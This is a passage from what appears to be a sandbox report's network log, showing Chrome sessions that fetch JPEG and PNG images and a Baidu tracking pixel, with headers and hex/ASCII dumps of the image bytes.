34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP.http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: 78 a4 ad a1 af d9 a7 49 50 d7 e1 5f 31 a4 92 b4 f8 1a fd da 49 21 ae 67 81 c4 c9 b2 3c 2a fe b4 0f 71 8d ca 74 f5 93 c5 6d 87 11 56 9d 48 3e 93 b1 c4 8a 82 39 28 ea 13 80 9a 24 2d d8 08 ee a1 df ee 97 b5 d9 4e 47 7b 8f 92 5e b2 c8 b8 c6 18 85 5b 6d 92 ae ed 87 8b cc 37 ef 14 a4 b6 a1 1d 0b 71 b6 64 38 a4 75 16 05 12 37 85 10 0d 75 ce 73 85 b4 96 20 6d d1 c9 c6 7b ae e3 fd 7f d2 e4 c4 c2 bd c6 c0 0c b6 c7 52 23 92 df 98 d5 90 be 5f ed 12 4d ba 6d c1 e6 1c 0a 82 c4 f0 c4 67 17 45 ec b5 25 8f 76 b9 4d 29 24 87 15 25 7c 07 0e 69 a7 21 ac ed d6 89 91 31 81 fa 6b e4 b4 6f e4 d1 65 11 8d 67 ea 21 cf fe 44 e6 27 c4 28 c0 98 73 a5 4b 7e 2e c5 44 11 de 28 4c 75 7c e0 24 9e 0a 03 8d 69 ab 06 60 87 e8 b3 0d 26 29 d3 0f 04 bb 5c 16 88 d1 62 bf 32 54 94 94 a6 3b 49 de Data Ascii: xIP_1I!g<*qtmVH>9($-NG{^[m7qd8u7us m{R#_MmgE%vM)$%\|i!1koeg!D'(sK~.D(Lu\|$i`&)\b2T;I
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 27 8f 96 5e ad 12 3f 49 b5 2d 88 d0 a6 59 ad d7 37 42 e3 cd 8a 86 dc 44 9d cd 38 b2 5a 7d c6 93 45 10 0f 4b d2 82 6a 55 ab 3c 4e 07 22 76 1b 6b 96 ca cc 7f 63 ff 00 9b 86 38 e8 c1 46 bb a3 b7 4c ba 98 b6 7c 26 d5 0a 24 13 6f b9 49 53 a8 3b e7 cb 6d 45 2d 4f 5f 4f a6 a5 3d 1c d5 b4 ef 34 5a f6 04 d5 7e af 13 ae a3 66 35 43 dc 85 b1 73 57 bb 60 f5 ee d9 7a b8 26 fc cb ee 25 78 dd 81 80 1a 96 d2 f6 0e aa dd 01 3b 18 61 4a 3b 52 3c d2 4a 01 af 0a 87 93 e8 3e fd 3a 77 56 e8 e1 cf 90 7e 8d 3b f4 41 ec a7 37 bf e6 2e 15 df 27 25 10 10 a0 a6 2c 91 ea 88 88 23 cd 35 ab 8a ff 00 12 eb f0 a6 b2 39 5e e3 3b 70 30 3e da ae 8f 89 ed d5 51 9d 65 dc fe 49 a8 ca a4 dc 64 b3 02 d9 1d 72 e6 c8 50 6e 3c 76 53 b9 4b 51 e1 40 06 a8 c0 4a 65 80 56 a7 60 80 73 a2 96 7d b3 ed 54 Data Ascii: '^?I-Y7BD8Z}EKjU<N"vkc8FL\|&$oIS;mE-O_O=4Z~f5CsW`z&%x;aJ;R<J>:wV~;A7.'%,#59^;p0>QeIdrPn<vSKQ@JeV`s}T
2024-09-27 03:51:02 UTC	6673	IN	Data Raw: a9 ee 1c ae ed e7 ab f2 ee f8 79 f9 57 c3 42 da a6 d9 5b 31 5e 5a 96 96 da 49 af 9f 85 06 b5 62 f2 d1 63 10 22 3c 53 f6 d8 54 d2 13 d4 e2 49 e0 9a 72 ae ac 83 b0 65 04 e5 3b a2 ac a8 70 a1 af 00 9d 12 39 4c 95 92 a0 28 90 49 f3 d3 a4 b2 28 9d a8 42 7c 68 08 03 90 d4 84 5d 33 a6 8e 57 90 45 c7 6c 97 6b 94 d7 93 15 a8 ec a9 65 d7 14 10 00 a1 f1 34 f2 ae a1 69 da 13 c4 19 68 b9 dd 8d 39 33 28 91 3f 32 bc 92 97 27 00 88 6c 2d 45 5d 18 c8 1f 96 80 4f 2a d4 a8 fc 49 d7 13 ca 3b e6 59 77 5c 70 2a ac 04 e6 b1 c6 45 ea ef 6b b5 2c 84 b3 74 b8 c5 86 a5 f3 1d 37 1e 4a 17 51 f1 06 9a af c5 af 75 f0 81 eb 20 ad 58 48 a6 72 ed 12 7e e5 d2 d7 5a 8c 95 01 52 12 b4 04 74 53 c8 00 28 07 0f 2d 7a 11 a5 ce 74 5e 73 b9 6a a2 d6 b8 ef 09 16 e7 4b 4b 02 a5 b5 71 a8 3a 71 41 89 Data Ascii: yWB[1^ZIbc"<STIre;p9L(I(B\|h]3WElke4ih93(?2'l-E]OI;Yw\pEk,t7JQu XHr~ZRtS(-zt^sjKKq:qA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49862	211.149.140.201	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	374	OUT	GET /resources/assets/images/about2.jpg HTTP/1.1 Host: www.strlaser.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:02 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:10 GMT Content-Type: image/jpeg Content-Length: 33363 Last-Modified: Wed, 15 Mar 2023 02:52:06 GMT Connection: close ETag: "641132d6-8253" Expires: Sun, 27 Oct 2024 03:51:10 GMT Cache-Control: max-age=2592000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-09-27 03:51:02 UTC	16037	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP/http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 05 dc 13 a0 49 36 b0 4b d3 38 64 2a 7c e9 5a e0 03 47 6d 65 67 72 a8 24 4b b2 d1 8a 24 37 32 b3 85 f2 15 34 1e ec 12 03 09 2d 62 89 02 a5 ab 05 27 22 bc 7e f1 80 08 44 8b 6c 44 9d 07 8d 97 30 58 ad 47 9d 41 14 38 6a 67 40 71 cc d6 c1 de cd 25 b2 d8 6e 09 6d bc 42 a4 68 b5 9d 83 30 23 81 56 4a 90 46 3a d6 7c 8d 45 94 af 6a 39 7a 38 e6 6a e1 fb 06 b6 69 b1 77 05 c4 36 c2 cf 79 da 67 99 82 0b cb 7e a5 dd b8 ae 5e a0 c0 90 2b cc 70 c5 53 15 32 69 b5 af c8 57 c9 6c 69 b9 4c ea 96 df 4b fb 6a d2 cd e4 dd 22 bb bb 95 6a 25 bc b3 99 44 6a 00 f8 99 64 24 f9 fa 4e 37 7d a6 3a f1 30 af 79 7b bd 16 85 8b 77 da dd b7 6e f1 ec 5d b2 97 b2 3a 14 6b cb c3 03 c6 cf 91 56 60 d3 89 0a 82 2b 90 18 1d ab 4d 12 fc 86 ab 6b ea d9 9c f9 fe e7 fd 4f e7 ff 00 a8 fb 1b e5 f4 d7 f4 Data Ascii: I6K8d*\|ZGmegr$K$724-b'"~DlD0XGA8jg@q%nmBh0#VJF:\|Ej9z8jiw6yg~^+pS2iWliLKj"j%Djd$N7}:0y{wn]:kV`+MkO
2024-09-27 03:51:02 UTC	942	IN	Data Raw: fb 75 f2 95 d9 4c 8a 4c 61 c1 2a 33 43 9f db 8e 66 99 bd 6d c8 62 67 57 5d 2a a0 35 73 6f 21 8d a8 fc 46 cb 0c ca 34 33 49 a3 2c 86 34 da 4e f2 89 b7 38 21 90 b6 a1 1b 1a f1 6a d3 dd 8a 55 21 e4 15 4d dc 8a ac ba 01 7d 55 18 36 e8 2e a6 a5 b0 6e ab 73 44 99 e8 d9 8d 3c 3e c3 81 54 6e c1 8f 25 ba 02 ce e1 47 22 4f 3c 27 54 0a e2 96 dc ad cc 9a 75 8a 12 43 01 c3 19 da a5 2b 0a d5 20 96 49 17 58 0a cc 49 f0 c3 d6 08 8d 49 cd 6a 60 a4 d0 82 4a 9d 6c 39 91 e5 86 9e b0 c5 64 d0 de d6 f6 39 94 92 6a dc d4 e5 51 88 b2 82 eb 0c 60 59 3a 5a 85 14 8e 46 9e 18 49 15 a0 1c d7 96 ea 1a 34 50 24 19 9e 23 04 04 a1 61 b9 0c c1 2a 09 1c 41 f2 c5 aa 93 25 9d 45 1e 92 41 04 8a 29 19 d7 08 6c 82 bb 12 4a 9c d8 91 a3 89 a6 2d b2 22 46 29 32 34 48 5d 4c 6d 16 43 3c fe fc 62 ea Data Ascii: uLLa3CfmbgW]5so!F43I,4N8!jU!M}U6.nsD<>Tn%G"O<'TuC+ IXIIj`Jl9d9jQ`Y:ZFI4P$#a*A%EA)lJ-"F)24H]LmC<b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49872	211.149.140.201	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	374	OUT	GET /resources/assets/images/about6.jpg HTTP/1.1 Host: www.strlaser.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:02 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:10 GMT Content-Type: image/jpeg Content-Length: 20659 Last-Modified: Fri, 24 Mar 2023 07:51:26 GMT Connection: close ETag: "641d567e-50b3" Expires: Sun, 27 Oct 2024 03:51:10 GMT Cache-Control: max-age=2592000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-09-27 03:51:02 UTC	16037	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 1d 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyPhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:51:02 UTC	4622	IN	Data Raw: bb 12 4b 13 d4 92 75 e9 c1 e4 80 c9 6d 30 f8 02 f2 8d 48 23 a9 14 ea 7d ba 09 24 a8 ec 2d ad 3e 20 40 89 48 07 a7 4d 24 58 de f3 30 77 3c 55 77 3b 9d f6 d5 10 cb bf f2 fd 8b 19 1f a8 f8 a1 31 0b f8 58 cd c2 07 34 1b ed 51 a6 9a 4c 22 4e c2 62 c0 16 71 84 3d 05 3d 9b 69 02 17 9f f3 0a 93 a0 0f 0e fe 3f 66 80 3e 34 a3 51 77 d2 03 e2 77 27 a7 96 80 1c 6c 95 3d 09 5e 46 6a 2d 42 14 a1 3c b6 a5 6b e1 ac 72 6e 76 f8 eb db 22 6f 55 bf 7b fe 67 9e ae 08 e4 fb f5 27 7d c7 63 73 63 6f 90 b3 bb b7 7b 5b 8b 47 02 7b 77 14 e2 79 0e b4 1f df a7 5b 26 a5 18 da 56 e7 2d 7f 32 c6 3f f5 5d a9 8d 87 a9 f8 4a 48 07 97 23 4d 59 06 5a 20 d7 97 1e 74 6a 90 7f bf 4c 62 c1 28 d8 9d 9b 62 68 69 4d 00 28 86 ee 70 ea a1 ea 8d 55 75 6d c1 04 50 d7 49 97 4d c6 0c 9f 6f da cf 15 99 4f Data Ascii: Kum0H#}$-> @HM$X0w<Uw;1X4QL"Nbq==i?f>4Qww'l=^Fj-B<krnv"oU{g'}csco{[G{wy[&V-2?]JH#MYZ tjLb(bhiM(pUumPIMoO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49870	211.149.140.201	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	608	OUT	GET /resources/assets/images/news1.jpg HTTP/1.1 Host: www.strlaser.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:02 UTC	348	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:10 GMT Content-Type: image/jpeg Content-Length: 65905 Last-Modified: Wed, 15 Mar 2023 03:42:58 GMT Connection: close ETag: "64113ec2-10171" Expires: Sun, 27 Oct 2024 03:51:10 GMT Cache-Control: max-age=2592000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-09-27 03:51:02 UTC	16036	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP.http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 7f d6 24 4f 94 69 ee fa 7d 97 4e 62 30 92 d0 41 27 3f ca 66 06 13 9a 44 6c cd c9 51 03 b6 ab 5d 8a e3 06 05 a7 e6 10 e5 8b 64 2a 39 d6 b3 ba 99 10 d0 5d ea 02 4b ad 93 b4 28 f1 1c fd 9a b7 73 35 23 de e6 b9 ce d2 46 a7 49 1e 34 ba 5b 8e c8 a8 65 4d 2a c6 34 b5 ad 50 74 89 ab 4a b6 79 a8 c5 62 5e bc 77 0a cf f2 db 55 dd d7 26 5a 6d 52 11 10 4b 0e a0 25 4d 37 3c a5 0d 3a b0 b5 d5 21 2e 28 03 ec e6 78 6a 86 df a5 d4 0f 73 24 e7 02 53 fd 38 8c 36 46 8a bf 55 a6 58 d7 95 6b 4a 2e ed 59 f9 c3 ef 1b 43 8d ca b9 ca 9e 5e 97 00 36 85 c7 ab 61 47 72 05 14 b4 ec 24 ab 70 e3 c3 55 b7 ae 56 b5 ac 93 bb 4b 74 5b d8 84 73 9c f5 2d 49 4b e5 8c 26 7a 9b 34 7b 94 87 5b 6d 4c b3 3d d4 a1 13 5c da a0 e2 94 37 32 42 c9 24 d4 79 40 fb b5 3e 8a ae a6 01 99 19 7b e0 72 fa 4d a8 Data Ascii: $Oi}Nb0A'?fDlQ]d9]K(s5#FI4[eM4PtJyb^wU&ZmRK%M7<:!.(xjs$S86FUXkJ.YC^6aGr$pUVKt[s-IK&z4{[mL=\72B$y@>{rM
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 4c 87 16 a4 ad d7 5a 28 0d be 17 12 9b 94 a5 a5 b1 b3 44 54 24 b6 47 1a 7b 5d 3e cb 88 47 98 7d 06 e8 2a f1 a8 e4 10 2b 77 ec c0 7a 55 04 42 d1 6f 57 17 ef 1d bb 72 fe cb f0 d8 b6 77 1a eb 8f 59 5c 89 70 c7 63 8b 6c 47 10 c3 4d 33 09 c7 92 f2 7a 68 41 21 4e c9 df 14 1f 33 4a 4a f7 d6 3a 81 43 89 6e 2d 07 07 6f f3 fe d1 c7 b7 28 b1 63 43 41 0c 72 a0 04 ef c1 57 61 d8 7e 0b 09 f6 d5 2a 2c ae d8 b5 23 21 08 87 02 f3 95 62 90 af 2c 64 f0 60 30 dc 49 2d 06 fa 6a 70 44 71 d8 2c ac 3a a0 e3 ef 6f ea f1 4b 61 29 a1 d3 ee 18 ae 79 45 c0 fa 49 54 f7 99 48 04 2d ce 3a 9d 42 41 c8 a0 24 7c 7d bd c7 c0 c6 ae 05 3d bb 9d a3 b7 38 ec ab d3 30 6f 2d da 32 8c 76 1b ae e4 72 a2 96 da 50 75 cf 47 21 a8 91 16 e4 58 8f 75 83 8d 32 92 e8 92 e2 56 17 b5 2e 9d 21 62 6a e1 9a 82 Data Ascii: LZ(DT$G{]>G}+wzUBoWrwY\pclGM3zhA!N3JJ:Cn-o(cCArWa~,#!b,d`0I-jpDq,:oKa)yEITH-:BA$\|}=80o-2vrPuG!Xu2V.!bj
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 1a 05 6b 71 61 b0 39 f0 3a a5 73 39 9a 06 f8 bd 2f 14 f5 13 12 55 ea e3 2b 15 95 6c 5d ae 4a d8 b9 db 9a 4a 60 2d a3 45 21 44 55 4a ff 00 98 9f d8 35 67 56 a1 a2 41 6e 23 08 a7 a1 45 b7 4d 70 78 56 93 3d f0 cc 4e 57 78 8a e9 7a 6d d6 4d c1 d9 13 d3 72 97 15 c7 97 d3 76 42 54 15 d4 58 04 71 34 a5 74 1b 6f 5e c9 b9 ca 49 52 20 e3 63 49 c1 1a d0 38 74 82 98 08 9a 2d 3d c0 b5 e6 f7 2e e1 3b 74 62 05 81 bb f5 95 b4 29 53 1c de 5c 7d 80 a0 16 6b b5 2b db b8 1a 01 bb ca 9a 6a da de f9 97 2e 7a a3 41 6e 71 9c b8 e9 75 2c 99 47 41 73 cb 1f 90 c8 f6 f6 c3 27 ba 17 8b 5d ee dd 84 5c 20 dc 61 bf 70 f9 52 63 5d 61 c4 4d 14 da 9b 09 20 ac f3 00 11 b4 25 5c a9 ec d0 bd 4a ab 5e d6 10 e0 a9 34 8b 1e 8d 6f 52 8b eb 31 cd 21 ba 94 13 f0 f9 c3 53 0c cb 6e f8 8c a9 77 3b 3a Data Ascii: kqa9:s9/U+l]JJ`-E!DUJ5gVAn#EMpxV=NWxzmMrvBTXq4to^IR cI8t-=.;tb)S\}k+j.zAnqu,GAs']\ apRc]aM %\J^4oR1!Snw;:
2024-09-27 03:51:02 UTC	717	IN	Data Raw: cc 36 41 67 f4 ee cb 7f 43 e5 3b b7 2b d0 f5 7a 9f f5 ff 00 0d 7c 77 7b 3c 74 bf b7 24 d3 bb ce 38 73 95 cb ab 7e 1b 33 8f 1f 49 ff 00 93 f4 df a7 b6 57 cd ba b5 df d7 1b 7a bf 7d 7e fd 71 d3 34 d3 d8 e7 1d c5 c3 ab 5f 61 94 61 3f 36 ad b3 d3 7c 8f 77 97 af d3 db 5d 9d 75 6d e9 57 c3 6d 69 5f 1d 77 ee 28 4d 3f 82 e5 1c 79 7c 4b af b0 ce 1d 13 3f 53 fc aa 5e df 49 b7 f2 bd 07 43 a3 4a 75 4d 7e 2e 15 d9 a3 2a 73 34 1d 28 b9 61 01 52 e4 73 46 39 aa ae c8 6e b1 f3 fe bd bb d4 7a ee 96 d6 fd 5f 4b d3 d3 7f 51 55 ea 53 cd 4a 53 e0 e1 4d 0c de 6a 85 5d f8 7b 60 c7 72 91 c8 8b 96 3e cf c6 00 df a9 f4 ef 7a bf d4 3d 5e a3 5d 4a 6c df 4a 2f f9 7d 3f c3 fc 5e 3c b4 83 52 15 d6 bd b0 48 52 9a 86 9d 1e df 6a c6 c3 7f 27 f5 31 7a bf 35 df d0 47 a6 ea f5 ba 74 e8 aa b5 Data Ascii: 6AgC;+z\|w{<t$8s~3IWz}~q4_aa?6\|w]umWmi_w(M?y\|K?S^ICJuM~.*s4(aRsF9nz_KQUSJSMj]{`r>z=^]JlJ/}?^<RHRj'1z5Gt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49865	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	424	OUT	GET /images/2024/05/10/sichuang/image_1715324241_REr34rRH.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:02 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:01 GMT Content-Type: image/png Content-Length: 17415 Connection: close x-oss-request-id: 66F62BA5B6896C303835B017 Accept-Ranges: bytes ETag: "C43DC19D813D4037CEC73D6600000000" Last-Modified: Fri, 10 May 2024 07:07:58 GMT x-oss-object-type: Appendable x-oss-hash-crc64ecma: 3981249697502281156 x-oss-next-append-position: 17415 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true x-oss-server-time: 2
2024-09-27 03:51:02 UTC	15840	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e1 00 00 00 e1 08 02 00 00 00 b1 d1 45 2d 00 00 00 09 70 48 59 73 00 00 0f 61 00 00 0f 61 01 a8 3f a7 69 00 00 07 c0 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRE-pHYsaa?iiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RD
2024-09-27 03:51:02 UTC	1575	IN	Data Raw: df 1f 5e 71 f9 e5 5d 6b fa 8b e7 68 84 e9 e9 99 c7 1f 7f 7c cf 9e 87 f7 3e bd 6f 69 69 69 c7 8e f3 f3 a5 a2 f0 f1 91 73 39 16 43 8e c6 03 94 f3 46 bd b1 b4 b4 b8 6b e7 85 ba a6 d5 6a f5 81 c1 c1 89 c9 33 1c 79 b9 bf bf ed ba 18 1e 1f 19 29 2b 51 0f a1 a2 48 d4 1f 61 eb ae 82 e4 59 a8 c6 57 6f 30 ef 90 5a 32 a6 24 cf 7f ef c8 ad 67 37 83 e8 eb d4 2c d1 aa 4c 12 5c e8 9e 3f 48 4e 49 36 76 2f 6a ef b0 c3 d9 1c f9 1e 2b be ba 24 ec 68 a1 c8 c5 8a 7f b7 29 ec 4e 31 f3 cd c3 f0 38 e7 01 0b 08 21 ba ae eb ba 21 76 65 25 0c 61 88 a6 fb 38 e3 ff f5 fd ef 17 bf 04 b4 1a ff 1f 72 34 c2 b1 63 c7 1f 7d f4 f1 6f 7d eb db 86 63 16 cb 45 df 0b 20 72 21 63 76 02 8a 99 9c 80 11 00 4d d7 2b d5 15 16 70 d3 30 7c 16 e4 f3 05 cb 32 83 20 90 46 fb 2a 57 49 8a c6 d5 b3 9e 1d e8 Data Ascii: ^q]kh\|>oiiis9CFkj3y)+QHaYWo0Z2$g7,L\?HNI6v/j+$h)N18!!ve%a8r4c}o}cE r!cvM+p0\|2 F*WI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49869	103.235.47.188	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	631	OUT	GET /9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?l=https://www.hbyczyz.com/ HTTP/1.1 Host: sp0.baidu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:02 UTC	135	IN	HTTP/1.1 200 OK Content-Length: 0 Content-Type: text/plain; charset=utf-8 Date: Fri, 27 Sep 2024 03:51:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49860	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
